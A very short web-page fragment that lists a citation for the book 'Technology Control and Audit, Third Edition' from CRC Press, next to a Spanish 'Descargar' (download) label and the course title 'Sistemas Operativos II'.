Technology Control and Audit, Third Edition,
CRC Press, United States
Descargar

Sistemas Operativos II